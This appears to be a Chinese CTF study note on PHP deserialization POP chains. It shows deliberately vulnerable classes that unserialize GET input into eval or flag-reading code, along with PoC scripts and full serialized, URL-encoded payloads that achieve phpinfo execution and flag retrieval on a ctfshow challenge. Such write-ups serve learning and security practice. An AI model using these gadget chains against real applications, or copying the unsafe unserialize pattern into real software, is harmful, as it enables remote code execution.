pop链
pop链,通过反序列化控制class属性,来构造一条完整的利用链。
easy
<?php
//error_reporting(0);
highlight_file(__FILE__);
class errorr0{
protected $var;
function __construct() {
$this->var = new errorr1();
}
function __destruct() {
$this->var->func();
}
}
class errorr1 {
public $var;
function func() {
echo $this->var;
}
}
class errorr2 {
private $data;
public function func() {
eval($this->data);
}
}
unserialize($_GET['err']);
?>
反向构造pop链,errorr2::func()
->errorr0::__destruct()
->errorr0::__construct
poc
<?php
//error_reporting(0);
highlight_file(__FILE__);
class errorr0{
protected $var;
function __construct() {
$this->var = new errorr1();
}
function __destruct() {
$this->var->func();
}
}
class errorr1 {
public $var;
function func() {
echo $this->var;
}
}
class errorr2 {
private $data;
public function func() {
eval($this->data);
}
}
$a = new errorr0;
$a->var=new errorr2;
$a->var->data='phpinfo();';
echo serialize($a); //O:7:"errorr0":1:{s:3:"var";O:7:"errorr2":1:{s:4:"data";s:10:"phpinfo();";}}
//`errorr2::func()`->`errorr0::__destruct()`->`errorr0::__construct`
?>
但是这样会报错。
因为class里面的属性不是public。我们更改一下class的属性
成功rce。但是我们如何在不修改class的属性下进行更改呢?这个时候就需要利用构造函数以及在内部修改。
<?php
//error_reporting(0);
highlight_file(__FILE__);
class errorr0{
protected $var;
function __construct() {
$this->var = new errorr2(); //errorr1->errorr2
}
function __destruct() {
$this->var->func();
}
}
class errorr1 {
public $var;
function func() {
echo $this->var;
}
}
class errorr2 {
private $data = 'phpinfo();'; //$data->'phpinfo();'
public function func() {
eval($this->data);
}
}
$a = new errorr0;
// $a->var=new errorr2;
// $a->var->data='phpinfo();';
echo serialize($a); //O:7:"errorr0":1:{s:6:"*var";O:7:"errorr2":1:{s:13:"errorr2data";s:10:"phpinfo();";}}
echo "</p>";
print_r($a); //errorr0 Object ( [var:protected] => errorr2 Object ( [data:errorr2:private] => phpinfo(); ) )
echo "</p>"; //可以看见$a class的属性也打印出来了
echo urlencode(serialize($a)); //由于有private和protected属性,所以存在不可见字符(%00)需要url编码。
//`errorr2::func()`->`errorr0::__destruct()`->`errorr0::__construct`
?>
对比一下poc的差异
print_r
1. errorr0 Object ( [var] => errorr2 Object ( [data] => phpinfo(); ) )
2. errorr0 Object ( [var:protected] => errorr2 Object ( [data:errorr2:private] => phpinfo(); ) )
反序列化
1. O:7:"errorr0":1:{s:3:"var";O:7:"errorr2":1:{s:4:"data";s:10:"phpinfo();";}}
2. O:7:"errorr0":1:{s:6:"*var";O:7:"errorr2":1:{s:13:"errorr2data";s:10:"phpinfo();";}}
test
<?php
//error_reporting(0);
highlight_file(__FILE__);
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
反向构造pop链,w44m::Getflag()
->w33m::__toString()
->w22m::__destruct()
poc
<?php
//error_reporting(0);
highlight_file(__FILE__);
class w44m{
private $admin = 'w44m'; //手动改一下
protected $passwd = '08067'; //手动改一下
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
echo "w33m __toString". "</p>";
$this->w00m->{$this->w22m}();
return 0;
}
}
$a = new w22m;
$a->w00m=new w33m;
$a->w00m->w00m=new w44m;
$a->w00m->w22m='Getflag';
echo "</p>";
print_r($a); //w22m Object ( [w00m] => w33m Object ( [w00m] => w44m Object ( [admin:w44m:private] => w44m [passwd:protected] => 08067 ) [w22m] => Getflag ) )
echo "</p>";
echo serialize($a);
echo "</p>";
echo urlencode(serialize($a));
//`w44m::Getflag()`->`w33m::__toString()`->`w22m::__destruct()`
?>
ctf
先学习一些tips。
tips
__get()
<?php
highlight_file(__FILE__);
class A {
private $test;
function __get($a){
echo $a; //test2
}
}
$a = new A;
$a->test2;
?>
当访问一个不存在的变量时,变量名会传递给__get()
。
__call()
<?php
highlight_file(__FILE__);
class A {
private $test;
function __get($a){
echo $a;
}
function __call($b,$c){
echo $b; //test3
print_r($c); //Array ( [0] => test4 )
}
}
$a = new A;
$a->test2;
$a->test3(test4);
?>
当访问一个不存在的函数时,函数名和实参会被传递给__call()
call_user_func()
<?php
highlight_file(__FILE__);
function hello($a) {
echo "hello ". $a;
}
call_user_func(hello,dayu);
class A {
function hello1($a) {
echo "hello ". $a;
}
}
call_user_func([A, hello1], dayu1)
?>
call_user_func(函数, 参数)
call_user_func([类, 方法], 参数)
array_walk()
<?php
highlight_file(__FILE__);
echo "</p>";
function myfunction($value,$key,$p)
{
echo "$key $p $value<br>";
}
$a=array("a"=>"red","b"=>"green","c"=>"blue");
array_walk($a,"myfunction","has the value"); //array_walk(array,myfunction,parameter...)
?>
array_walk(数组, 函数, 另外一个参数)
gc
tmp
code
<?php
/**
* @Author: F10wers_13eiCheng
* @Date: 2022-02-01 11:25:02
* @Last Modified by: F10wers_13eiCheng
* @Last Modified time: 2022-02-07 15:08:18
*/
highlight_file(__FILE__);
include("./HappyYear.php");
class one {
public $object;
public function MeMeMe() {
echo "<p>one::MeMeMe()<p>";
array_walk($this, function($fn, $prev){
echo "<p>one::MeMeMe()::array_walk()<p>";
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
echo "<p>one::__destruct()<p>";
@$this->object->add();
}
public function __toString() {
echo "<p>one::__toString()<p>";
return $this->object->string;
}
}
class second {
protected $filename;
protected function addMe() {
echo "<p>second::addMe()<p>";
return "Wow you have sovled".$this->filename;
}
public function __call($func, $args) {
echo "<p>second::__call()<p>";
call_user_func([$this, $func."Me"], $args);
}
}
class third {
private $string;
public function __construct($string) {
echo "<p>third::__construct()<p>";
$this->string = $string;
}
public function __get($name) {
echo "<p>third::__get()<p>";
$var = $this->$name;
$var[$name]();
}
}
if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
//throw new Exception("高一新生报道"); 先注释掉,方便调试。
} else {
echo "<p>please get ctfshow<p>";
}
pop链
现在来反向构造pop利用链,one::MeMeMe()
->third::__get()
->…
正向构造一下试试,one::__destruct()
->second::__call()
->second::addMe()
->one::__toString()
->…
结合一下,整个正向pop链为:one::__destruct()
->second::__call()
->second::addMe()
->one::__toString()
->third::__get()
->one::MeMeMe()
首先通过one::__destruct()
调用一个不存在的add()
去触发second::__call()
然后通过call_user_func()
回调自身的second::addMe()
这里return了一个String类型
,所以可以去触发one::__toString()
然后返回了一个不存在的string
变量去触发third::__get()
,最后在调用one::MeMeMe()
拿到flag。
擦,昨天弄2小时,今天弄了快3小时,现在闭着眼都能写出来了。
<?php
/**
* @Author: F10wers_13eiCheng
* @Date: 2022-02-01 11:25:02
* @Last Modified by: F10wers_13eiCheng
* @Last Modified time: 2022-02-07 15:08:18
*/
highlight_file(__FILE__);
include("./HappyYear.php");
class one {
public $object;
public $year_parm = array("Happy_func"); //构造一个数组
public function MeMeMe() {
echo "<p>one::MeMeMe()<p>";
array_walk($this, function($fn, $prev){ //当array_walk传入类的时候会将类里面的变量名和变量名当成数组。
echo "<p>one::MeMeMe()::array_walk()<p>";
if ($fn[0] === "Happy_func" && $prev === "year_parm") { //$year_parm = array("Happy_func")
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
echo "<p>one::__destruct()<p>";
@$this->object->add();
}
public function __toString() {
echo "<p>one::__toString()<p>";
return $this->object->string;
}
}
class second {
protected $filename;
public function __construct() {
$this->filename = new one;
$this->filename->object = new third(["string"=>[new one(),"MeMeMe"]]);
} //手动构造`__construct`用来触发下面的`second::addMe()`->`one::__toString()`,同时给`third::__construct`传入实参。
protected function addMe() {
echo "<p>second::addMe()<p>";
return "Wow you have sovled".$this->filename;
}
public function __call($func, $args) {
echo "<p>second::__call()<p>";
call_user_func([$this, $func."Me"], $args);
}
}
class third {
private $string;
public function __construct($string) {
echo "<p>third::__construct()<p>";
$this->string = $string; //string = ["string"=>[new one(),"MeMeMe"]]
}
public function __get($name) {
echo "<p>third::__get()<p>";
$var = $this->$name;
$var[$name](); //["string"=>[new one(),"MeMeMe"]][string]()这里会触发`third::__get()`->`one::MeMeMe()`
}
}
$a = new one;
$b = new second;
$a->object = $b;
//`one::__destruct()`->`second::__call()`->`second::addMe()`
//`one::__destruct()`->`second::__call()`->`second::addMe()`->`one::__toString()`->`third::__get()`->`one::MeMeMe()`
echo "<p>". serialize($a). "<p>";
echo "<p>". urlencode(serialize($a)). "<p>";
O:3:"one":2:{s:6:"object";O:6:"second":1:{s:11:"*filename";O:3:"one":2:{s:6:"object";O:5:"third":1:{s:13:"thirdstring";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:6:"object";N;s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:1;s:6:"MeMeMe";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}
O%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D
demo
<?php
highlight_file(__FILE__);
class one {
public $key = 'value';
public $year_parm = array(0=>"Happy_func");
function MeMeMe(){
echo "yes<p>";
}
function test(){
echo "one::test<p>";
array_walk($this, function($fn, $prev){
echo "one::test::array_walk<p>";
print_r($fn);
echo "<p>";
print_r($prev);
echo "<p>";
});
}
}
["string"=>[new one(),"MeMeMe"]][string]();
$a = new one();
$a->test();
还有个垃圾回收GC机制来绕过异常处理的,明天来写吧,今天累了。